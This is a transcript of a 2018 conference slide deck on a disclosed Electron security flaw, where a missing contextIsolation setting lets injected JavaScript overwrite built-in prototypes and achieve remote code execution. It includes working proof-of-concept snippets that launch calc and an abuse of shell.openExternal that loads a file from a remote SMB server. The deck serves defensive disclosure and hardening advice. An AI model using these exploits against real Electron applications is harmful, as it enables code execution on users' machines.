Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Electron: Abusing the lack of context isolation - CureCon(en)

Electron: Abusing the lack of context isolation - CureCon(en)

This is the slides for CureCon which was held in Berlin

Masato Kinugawa

August 18, 2018
Tweet

More Decks by Masato Kinugawa

Other Decks in Research

Transcript

  1. Masato Kinugawa
    CureCon 08/2018

    View full-size slide

  2. About me
    • Masato Kinugawa (@kinugawamasato)
    • I live in Japan
    • I Joined Cure53 in 01/2016
    • I like web, browser, JavaScript and XSS

    View full-size slide

  3. Introduction
    • In 2016, we audited one Electron based application
    • Found RCE, ... but noticed the root cause was in Electron
    itself
    • Reported to Electron Team and it was fixed by adding the
    option called "contextIsolation"
    • I'd like to talk about it!

    View full-size slide

  4. Outline
    1. Basics of Electron
    2. Details of Context Isolation
    3. Abusing the lack of Context Isolation

    View full-size slide

  5. Basics of Electron
    1

    View full-size slide

  6. Electron?
    • Framework for creating desktop applications
    with HTML, CSS and JavaScript
    • Developed by GitHub

    View full-size slide

  7. https://electronjs.org/#apps

    View full-size slide

  8. Basics: Process
    • Electron has two process types
    • Main Process
    • Renderer Process

    View full-size slide

  9. Can create Renderer Process
    Basics: Main Process
    main.js
    const {BrowserWindow} = require('electron');
    let win = new BrowserWindow();
    //Open Renderer Process
    win.loadURL(`file://${__dirname}/index.html`);

    View full-size slide

  10. Basics: Renderer Process
    It's a browser window
    index.html



    TEST


    Hello Electron!
    <br/>body{<br/>background:url('island.png')<br/>}<br/>


    View full-size slide

  11. Basics: webPreferences
    • Settings of renderer process's features
    • Set it in main process, like this:
    new BrowserWindow({
    webPreferences:{
    "FEATURE_NAME": true
    }
    });

    View full-size slide

  12. Basics: webPreferences
    • Important 3 features in this talk
    • nodeIntegration
    • preload
    • contextIsolation

    View full-size slide

  13. Basics: nodeIntegration
    Decide if Node APIs are enabled in renderer
    let win = new BrowserWindow({
    webPreferences:{
    nodeIntegration: true
    }
    });
    win.loadURL(`[...] index.html`);
    main.js

    <br/>require('child_process')<br/>.exec('calc')<br/>

    index.html
    This means:
    nodeIntegration + XSS in renderer = RCE

    View full-size slide

  14. Basics: Preload Script
    • Loaded before other scripts in the renderer are loaded
    • Has unlimited access to Node APIs
    new BrowserWindow({
    webPreferences:{
    nodeIntegration: false,
    preload: path.join(__dirname,'preload.js')
    }
    });
    main.js

    View full-size slide

  15. Basics: Preload Script
    /* preload.js */
    typeof require === 'function';//true
    window.runCalc = function(){
    require('child_process').exec('calc')
    };


    <br/>typeof require === 'undefined';//true<br/>runCalc();<br/>

    ➡Can export necessary node-features to pages
    Renderer Process

    View full-size slide

  16. Are these settings RCE-safe enough?
    • nodeIntegration : false
    • Necessary features are exported via preload
    • Also assume that the argument is properly validated
    to prevent RCE
    ➡No RCE even if XSS exists?

    View full-size slide

  17. Still not safe enough
    Developers should use "contextIsolation" option also!
    new BrowserWindow({
    webPreferences:{
    nodeIntegration: false,
    contextIsolation: true,
    preload: path.join(__dirname,'preload.js')
    }
    });
    What is that? ➡

    View full-size slide

  18. Details of
    Context Isolation
    2

    View full-size slide

  19. contextIsolation
    • Added in v1.4.15 (Released on Jan 20, 2017)
    • The default is false
    • Official doc still says it's an experimental
    feature but we really need it to remove the
    possibility of RCE

    View full-size slide

  20. contextIsolation's effect
    • Separates JavaScript context between the
    page's scripts and preload scripts
    • Separetes JavaScript context between the
    page's scripts and Electron's internal code

    View full-size slide

  21. contextIsolation
    Electron uses the same technology as
    Chromium's Content Scripts to enable this
    behavior.
    https://github.com/electron/electron/blob/2551837ffbbd88f48236a658f601e896fb61ec83/doc
    s/tutorial/security.md#3-enable-context-isolation-for-remote-content

    Let's compare the behavior! ➡

    View full-size slide

  22. WebExtension's content scripts
    /* Content Script */
    window.abc = 123;
    /* https://example.com */
    alert(window.abc)//undefined
    Isolated
    World

    View full-size slide

  23. Electron's preload scripts(default)
    /* preload.js */
    window.abc = 123;
    /* index.html */
    alert(window.abc)//123
    No Isolated
    World

    View full-size slide

  24. Electron(contextIsolation:true)
    /* preload.js */
    window.abc = 123;
    /* index.html */
    alert(window.abc)//undefined
    Isolated
    World

    View full-size slide

  25. Communicate under contextIsolation:true
    /* preload.js */
    onmessage=function(e){
    if(e.data==='runCalc'){
    require('child_process').exec('calc')
    }
    }
    /* index.html */
    postMessage('runCalc','*')
    Isolated
    World
    Use postMessage, like WebExtension's content script

    View full-size slide

  26. Let's see... and?
    • The lack of isolated world is useful for developers, no?
    • because we can communicate directly...
    But it is useful for attackers also?! ➡

    View full-size slide

  27. Abusing
    the lack of Context
    Isolation
    3

    View full-size slide

  28. Basic idea to RCE
    An Attacker can:
    1. Execute arbitrary JavaScript in renderer
    somehow(e.g. XSS or navigation to external sites)
    2. Overwrite the built-in method which is used in
    preload or Electron internal code to own function
    3. Trigger the use of overwritten function
    4. Something happens => Achieve RCE

    View full-size slide

  29. Attack Examples
    #1: Attacking preload scripts
    #2: Attacking Electron internal code

    View full-size slide

  30. #1: Attacking preload scripts
    /* preload.js */
    const {shell} = require('electron');
    const SAFE_PROTOCOLS = ["http:", "https:"];
    document.addEventListener('click', (e) => {
    if (e.target.nodeName === 'A') {
    var link = e.target;
    if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) {
    shell.openExternal(link.href);
    } else {
    alert('This link is not allowed');
    }
    e.preventDefault();
    }
    }, false);
    This code opens only http(s): links with default browser

    View full-size slide

  31. shell.openExternal ?
    Opens the given URL using the desktop's default way
    const {shell} = require('electron');
    /* Open with default browser */
    shell.openExternal('https://example.com/');
    /* Open with default mail client */
    shell.openExternal('mailto:[email protected]');
    /* Execute exe file */
    shell.openExternal('file:///C:/windows/system32/calc.exe');

    View full-size slide

  32. #1: Attacking preload scripts
    /* preload.js */
    const {shell} = require('electron');
    const SAFE_PROTOCOLS = ["http:", "https:"];
    document.addEventListener('click', (e) => {
    if (e.target.nodeName === 'A') {
    var link = e.target;
    if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) {
    shell.openExternal(link.href);
    } else {
    alert('This link is not allowed');
    }
    e.preventDefault();
    }
    }, false);
    We want to pass arbitrary URL to shell.openExternal
    Let's
    overwrite this!

    View full-size slide

  33. #1: Attacking preload scripts
    <br/>Array.prototype.indexOf = function(){<br/>return 1337;<br/>}<br/>
    An attacker injects this JavaScript code:

    View full-size slide

  34. #1: Attacking preload scripts
    if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) {
    shell.openExternal(link.href);
    }
    Now this code has ...

    View full-size slide

  35. #1: Attacking preload scripts
    if (1337 !== -1) {
    shell.openExternal(link.href);
    }
    the same meaning as the following code!

    View full-size slide

  36. #1: Attacking preload scripts
    <br/>Array.prototype.indexOf=function(){<br/>return 1337;<br/>}<br/>
    CLICK
    Click
    Now all links are opened by shell.openExternal
    if (1337 !== -1) {
    shell.openExternal(link.href);
    }

    View full-size slide

  37. BTW: Is shell.openExternal really
    exploitable?
    • To abuse this, the malicious program is placed in a
    known path
    • We can't pass any arguments
    Do we have any ways? ➡

    View full-size slide

  38. How about file server?
    const { shell } = require('electron');
    shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.exe");
    Shows warning dialog.
    Hmm...

    View full-size slide

  39. File server + .SettingContent-ms file
    const { shell } = require('electron');
    shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms");
    • Matt Nelson found that ".SettingContent-ms" file can run shell
    command without warning dialog
    The Tale of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson)
    https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
    Works!

    View full-size slide

  40. Other tricks
    • File server + .jar file (Java needed)
    • Java does not respect ADS
    • File server + mscorsvw.exe (Found by Alex Inführ)
    InsertScript: DLL Hijacking via URL files (Alex Inführ)
    https://insert-script.blogspot.com/2018/05/dll-hijacking-via-
    url-files.html

    View full-size slide

  41. #2: Attacking Electron internal code
    • A part of the Electron itself is implemented by using
    Node.js code
    • The overwritten built-in method is used here as well
    • By triggering the use of overwritten method in internal
    code, can get access to node APIs from the argument

    View full-size slide

  42. #2: Attacking Electron internal code
    // Clean cache on quit.
    process.on('exit', function () {
    for (let p in cachedArchives) {
    if (!hasProp.call(cachedArchives, p)) continue
    cachedArchives[p].destroy()
    }
    })
    https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d
    3ba4c5/lib/common/asar.js#L30-L36
    "exit" event listener is always set by the internal code
    when the page loading is started.
    This event is emitted just before navigation

    View full-size slide

  43. #2: Attacking Electron internal code
    EventEmitter.prototype.emit = function emit(type) {
    [...]
    handler = events[type];
    [...]
    var isFn = typeof handler === 'function';
    len = arguments.length;
    switch (len) {
    // fast cases
    case 1:
    emitNone(handler, isFn, this);
    break;
    case 2:
    [...]
    }
    };
    if the "exit" event is emitted, EventEmitter.prototype.emit is called
    and it executes "emitNone" function
    https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231
    Note: Here is inside require('events') bundled in Node.js

    View full-size slide

  44. #2: Attacking Electron internal code
    function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }
    https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113
    Then, it goes here

    View full-size slide

  45. #2: Attacking Electron internal code
    function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }
    "self" is Node's process object

    View full-size slide

  46. #2: Attacking Electron internal code
    process.mainModule.require
    The process object has a reference to "require" function

    View full-size slide

  47. #2: Attacking Electron internal code
    function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }
    So, let's overwrite this "call"
    and get access to process object

    View full-size slide

  48. #2: Attacking Electron internal code
    Overwrite Function.prototype.call, like this:
    <br/>Function.prototype.call=function(process){<br/>process.mainModule.require('child_process').execSync('calc');<br/>}<br/>location.reload();// Trigger the "exit" event<br/>

    View full-size slide

  49. #2: Attacking Electron internal code
    function emitNone(handler, isFn, self) {
    if (isFn)
    handler.call(self);
    else {
    var len = handler.length;
    var listeners = arrayClone(handler, len);
    for (var i = 0; i < len; ++i)
    listeners[i].call(self);
    }
    }
    Function.prototype.call=function(process){
    process.mainModule.require('child_process').execSync('calc');
    }
    calc is launched via overwritten "call"!

    View full-size slide

  50. Attack Routes
    Attack route's examples:
    • XSS
    • Navigation to arbitrary remote sites
    • MitM
    Basically arbitrary JavaScript execution in the
    renderer + no "contextIsolation" mean game over.

    View full-size slide

  51. Attack Routes(2)
    • Drag & Drop
    • The window is a drop-zone by default, like general
    browsers

    View full-size slide

  52. Attack Routes(3-1)
    •Middle-click the links
    • Electron opens it in the new window by default

    View full-size slide

  53. Attack Routes(3-2)
    • Handling middle-click is often forgotten by app
    • "click" event is not emitted
    /* preload.js */
    document.addEventListener('click', (e) => {
    /* It will not come here */
    }, false);

    View full-size slide

  54. Conclusion
    • We should know RCE happens in default Electron
    even if "nodeIntegration" is not enabled
    • "contextIsolation" prevents RCE with overwritten
    built-in method. We have to use it explicitly because
    currently the default is false
    new BrowserWindow({
    webPreferences:{
    nodeIntegration: false,
    contextIsolation: true,
    preload: path.join(__dirname,'preload.js')
    }
    });
    IMPORTANT!

    View full-size slide

  55. Thanks!
    • Thanks for reviewing, Mario Heiderich!
    • Thanks for the opportunity to give a presentation,
    Cure53 members!

    View full-size slide